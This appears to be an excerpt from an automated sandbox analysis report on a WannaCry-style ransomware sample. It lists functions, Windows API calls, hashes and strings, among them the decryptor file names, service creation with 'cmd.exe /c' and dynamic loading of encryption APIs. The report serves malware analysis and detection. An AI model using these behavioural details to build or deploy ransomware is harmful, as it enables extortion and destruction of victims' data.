                                      • Instruction Fuzzy Hash: CFC00270E0062597EF40DB748D88DDD77B9BB543F57124610F425E25D4DB38D8C58924
                                      Function 10003FF3 Relevance: 3.0, APIs: 2, Instructions: 11COMMON
                                      Download Yara Rule
                                      APIs
                                      • GlobalFree.KERNEL32(?), ref: 10003FFB
                                      • FindCloseChangeNotification.KERNELBASE(?), ref: 1000400A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ChangeCloseFindFreeGlobalNotification
                                      • String ID:
                                      • API String ID: 397936838-0
                                      • Opcode ID: 95c6753cd6a729dbd2e938d525553f3bf1bc6ee1f9d914f0cf534606ea1e53d3
                                      • Instruction ID: cde0e7c9d00266dd521057b441dd1465dd06113e1ffa8f738b3e980e73fa046c
                                      • Opcode Fuzzy Hash: 95c6753cd6a729dbd2e938d525553f3bf1bc6ee1f9d914f0cf534606ea1e53d3
                                      • Instruction Fuzzy Hash: 7BC00270D0011597EF50DB748C88ADD77B9BB043E17114610F565F25E4DB39D8D58924
                                      Function 00406A97 Relevance: 2.5, APIs: 2, Instructions: 49COMMON
                                      Download Yara Rule
                                      APIs
                                      • free.MSVCRT(000000FF,?,?,?,?,?,00406C75,000000FF,?,00000000), ref: 00406AD8
                                      • free.MSVCRT(?,?,?,?,?,?,00406C75,000000FF,?,00000000), ref: 00406AF2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: free
                                      • String ID:
                                      • API String ID: 1294909896-0
                                      • Opcode ID: 28b6d88ccf29b1a9de34da390d40372aaea3c5b8fb19d1b71de12589b9dbf20e
                                      • Instruction ID: ec95abe816ac4a8c72e042d529dfaf8500c8eb5fa3ddba0aa3324e4c476e305b
                                      • Opcode Fuzzy Hash: 28b6d88ccf29b1a9de34da390d40372aaea3c5b8fb19d1b71de12589b9dbf20e
                                      • Instruction Fuzzy Hash: 370171726047189FC630EF59E880827F3E8EF45320721892FE196E7681C774E8508F54
                                      Function 00401437 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00401861: CryptImportKey.ADVAPI32(?,0040EBF8,00000494,00000000,00000000,?,?,00401448,?), ref: 00401888
                                      • GlobalAlloc.KERNELBASE(00000000,00100000,?), ref: 0040146A
                                      • GlobalAlloc.KERNELBASE(00000000,00100000), ref: 00401479
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AllocGlobal$CryptImport
                                      • String ID:
                                      • API String ID: 2229914853-0
                                      • Opcode ID: f1c38862a4e40a926a9cb8dbd32efdc124995eee8a134f66152ea3beb40ebdb5
                                      • Instruction ID: 13949ebcdeb320815bc01409d0816805a193b4ce3528f2eda1310b41e89de721
                                      • Opcode Fuzzy Hash: f1c38862a4e40a926a9cb8dbd32efdc124995eee8a134f66152ea3beb40ebdb5
                                      • Instruction Fuzzy Hash: E9F01DB25047059EE360DA259C40F57B3E8EFC4794F10493FE959E22A1E774A8058B25
                                      Function 0040267B Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 7bd26af1122edbf6fbff405738f542872fd821c7a3f7489dfee9861c9f1031c0
                                      • Instruction ID: 9d6513904ea5691aa08af74fc9baded86be21b3d70fd15c085b441052c799f02
                                      • Opcode Fuzzy Hash: 7bd26af1122edbf6fbff405738f542872fd821c7a3f7489dfee9861c9f1031c0
                                      • Instruction Fuzzy Hash: 5B11D6326102049FE714CF08D998F727356EB94714F55856AE905BF2E1C7B2BC51CB94
                                      Function 004016E1 Relevance: 1.5, APIs: 1, Instructions: 5COMMON
                                      Download Yara Rule
                                      APIs
                                      • FindCloseChangeNotification.KERNELBASE(000000FF), ref: 004016F0
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ChangeCloseFindNotification
                                      • String ID:
                                      • API String ID: 2591292051-0
                                      • Opcode ID: f52aed4182859eab4490ba7dc732018fa818bb7073b48e1ac7911efce21236bc
                                      • Instruction ID: 7545af35694e89df3f25b7d1110c5d500d016a824783426773cdd53473935498
                                      • Opcode Fuzzy Hash: f52aed4182859eab4490ba7dc732018fa818bb7073b48e1ac7911efce21236bc
                                      • Instruction Fuzzy Hash: D7B092308101158BCF706B24CD0C19D7630EB00321F2803F4902C304F08B310996DE08
                                      Function 00402198 Relevance: 1.5, APIs: 1, Instructions: 3libraryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryA.KERNELBASE(?), ref: 0040219C
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: LibraryLoad
                                      • String ID:
                                      • API String ID: 1029625771-0
                                      • Opcode ID: 527631fc12e153a343bc24e53b05888e6cf8918c77ca3f12754fd02658a9155b
                                      • Instruction ID: 252822523d1ab745a1459e8004993e3db8d6214520292d0d8fc085b45f7e3fa2
                                      • Opcode Fuzzy Hash: 527631fc12e153a343bc24e53b05888e6cf8918c77ca3f12754fd02658a9155b
                                      • Instruction Fuzzy Hash: 559002704045009BCE015B10DF0950A7A61BB80741B118468A086510308B714814EA05
                                      Function 10003760 Relevance: 1.3, APIs: 1, Instructions: 38COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??2@
                                      • String ID:
                                      • API String ID: 1033339047-0
                                      • Opcode ID: 74eacbc20383896c45a81761181eb09298f2ecdfe049397aa81faf53124bbe71
                                      • Instruction ID: a15c0a293f5e24c1dea9984ccd3df6ccb11cefa01a4d594410c7fe3b55cc443a
                                      • Opcode Fuzzy Hash: 74eacbc20383896c45a81761181eb09298f2ecdfe049397aa81faf53124bbe71
                                      • Instruction Fuzzy Hash: E1F08CF66042018F9B09CF18C05096AB7EAEFC87A0B16806DE80EDB391DB70AC01CB90
                                      Function 0040216E Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • VirtualAlloc.KERNELBASE(?,?,?,?), ref: 0040217E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AllocVirtual
                                      • String ID:
                                      • API String ID: 4275171209-0
                                      • Opcode ID: e445628205b399f7e42407f4a0b90b669506428fba09b1568f7ae1c69eb3dccb
                                      • Instruction ID: e75f4d130f6e84a262332570cfc83dcfa265c4d7a89b3c7e81d5606e08485909
                                      • Opcode Fuzzy Hash: e445628205b399f7e42407f4a0b90b669506428fba09b1568f7ae1c69eb3dccb
                                      • Instruction Fuzzy Hash: 6EB00832418782ABCF02DF90DE0492ABAA2BB88301F190C5CB2E55107087328428EB06
                                      Function 004056DD Relevance: 1.3, APIs: 1, Instructions: 6COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: calloc
                                      • String ID:
                                      • API String ID: 2635317215-0
                                      • Opcode ID: c79bc297218a7ee9d4f5a5f90e12914113c8194a3ce27a4038e9e9559bc3c912
                                      • Instruction ID: e97520f53d479ee56607858e69e3bcf2bfd840abb73b8ebea511af8bedfd3791
                                      • Opcode Fuzzy Hash: c79bc297218a7ee9d4f5a5f90e12914113c8194a3ce27a4038e9e9559bc3c912
                                      • Instruction Fuzzy Hash: A2B0123200C200FFCF050B00FD05409BBA1EF84231F30C41DF096000708F324020AB05
                                      Function 00402185 Relevance: 1.3, APIs: 1, Instructions: 5COMMON
                                      Download Yara Rule
                                      APIs
                                      • VirtualFree.KERNELBASE(?,?,?), ref: 00402191
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: FreeVirtual
                                      • String ID:
                                      • API String ID: 1263568516-0
                                      • Opcode ID: 70298afcd97d1f587993bf86c82741377287bb4c04a33449c363f6c539dbb343
                                      • Instruction ID: 1c93ebe0746aafeda55b1900a1bdb3750d1fd32b9a3cbbb317f156288fcfd0fe
                                      • Opcode Fuzzy Hash: 70298afcd97d1f587993bf86c82741377287bb4c04a33449c363f6c539dbb343
                                      • Instruction Fuzzy Hash: F4B00275508600BFDF425B51DE0480ABBA2AB84321F11C958B3ED5003087328425EB06

                                      Non-executed Functions

                                      Function 00406C40 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 365COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: memcpy
                                      • String ID: /../$/..\$\../$\..\
                                      • API String ID: 3510742995-3885502717
                                      • Opcode ID: 00491be41aa5427f31b8b9a32a9b57da7e2e6dff5cb5143b376a5dd6570fe62a
                                      • Instruction ID: 8d35de4500b3f4065ad8a7d009fa2f60231b6be20ed9f01f65d9d1a3966dd706
                                      • Opcode Fuzzy Hash: 00491be41aa5427f31b8b9a32a9b57da7e2e6dff5cb5143b376a5dd6570fe62a
                                      • Instruction Fuzzy Hash: 98D147729082459FDB15CF68C881AEABBF4EF05300F15857FE49AB7381C738A915CB98
                                      Function 10004440 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryA.KERNEL32(advapi32.dll,7678A710,10003416,7678A710,10005BA1), ref: 10004456
                                      • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 10004473
                                      • GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 10004480
                                      • GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 1000448D
                                      • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 1000449A
                                      • GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 100044A7
                                      • GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 100044B4
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: AddressProc$LibraryLoad
                                      • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                      • API String ID: 2238633743-2459060434
                                      • Opcode ID: b363998bde18683af009ee46e1ce10118f5fbe9ee4d3bceef1b0164aeb75d0ff
                                      • Instruction ID: 8acda46cc026f7592c4ee70142fb235f08bec8b36f89472f51a8b593d463a20b
                                      • Opcode Fuzzy Hash: b363998bde18683af009ee46e1ce10118f5fbe9ee4d3bceef1b0164aeb75d0ff
                                      • Instruction Fuzzy Hash: 781121B0643761A7FB54FB6A9C94FEE3694EBC42D1302002BE9019315DDF649841CB70
                                      Function 00401A45 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 56libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                                      • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00401A77
                                      • GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 00401A84
                                      • GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 00401A91
                                      • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 00401A9E
                                      • GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 00401AAB
                                      • GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 00401AB8
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AddressProc$LibraryLoad
                                      • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                      • API String ID: 2238633743-2459060434
                                      • Opcode ID: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                                      • Instruction ID: 9aae3444cc52ced5e7e1ad1d2a06d11cf911cb2b3a933a05a08c6ba10b936042
                                      • Opcode Fuzzy Hash: b9d8274d123a30a539352919ce36730ce9328d7041a45cd95e79278e35d60e58
                                      • Instruction Fuzzy Hash: 20011E32A86311EBDB30AFA5AE856677AE4EA41750368843FB104B2DB1D7F81448DE5C
                                      Function 10004F20 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 90fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 10004F7C
                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 10004F99
                                      • CopyFileW.KERNEL32(?,?,00000000), ref: 10004FB4
                                      • GetUserNameW.ADVAPI32 ref: 10004FF0
                                      • _wcsicmp.MSVCRT ref: 10005006
                                      • SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 1000501E
                                      • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.exe), ref: 10005034
                                      • CopyFileW.KERNEL32(@WanaDecryptor@.exe,?,00000000), ref: 10005045
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CopyFileswprintf$ByteCharInfoMultiNameParametersSystemUserWide_wcsicmp
                                      • String ID: %s\%s$@WanaDecryptor@.bmp$@WanaDecryptor@.exe$b.wnry
                                      • API String ID: 2700836184-163098832
                                      • Opcode ID: bf392daa0d3de960360cd3c4300729d8e512d5ebde27cbd7410bd1becd215d1f
                                      • Instruction ID: e55c92b8c82600a83f2bc68813337d3839c0dc3b58a337792abbc0111089e87c
                                      • Opcode Fuzzy Hash: bf392daa0d3de960360cd3c4300729d8e512d5ebde27cbd7410bd1becd215d1f
                                      • Instruction Fuzzy Hash: 1F319F7154430AAAF720DB64CC84FEBB3A9FBD8780F004928F74897194E675A54987B7
                                      Function 00401CE8 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 75serviceCOMMON
                                      Download Yara Rule
                                      APIs
                                      • OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00401CFE
                                      • OpenServiceA.ADVAPI32(00000000,qqdbarezh013,000F01FF), ref: 00401D21
                                      • StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
                                      • CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
                                      • CloseServiceHandle.ADVAPI32(?), ref: 00401D9E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Service$CloseHandleOpen$ManagerStart
                                      • String ID: cmd.exe /c "%s"$qqdbarezh013
                                      • API String ID: 1485051382-502974485
                                      • Opcode ID: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                                      • Instruction ID: 93977d8af42d47d1d9866270745c8e9c50065656b45fe828c5c40e24baaa5e60
                                      • Opcode Fuzzy Hash: 4dc5d8109ff1f89eb2c8b95274d01a87daa9a34efcc40f147da3f0b4c8cffa2a
                                      • Instruction Fuzzy Hash: 6411AF71900118BBDB205B659E4CE9FBF7CEF85745F10407AF601F21A0CA744949DB68
                                      Function 00402A76 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 334COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 00402A95
                                      • _CxxThrowException.MSVCRT(00000010,0040D570), ref: 00402AA4
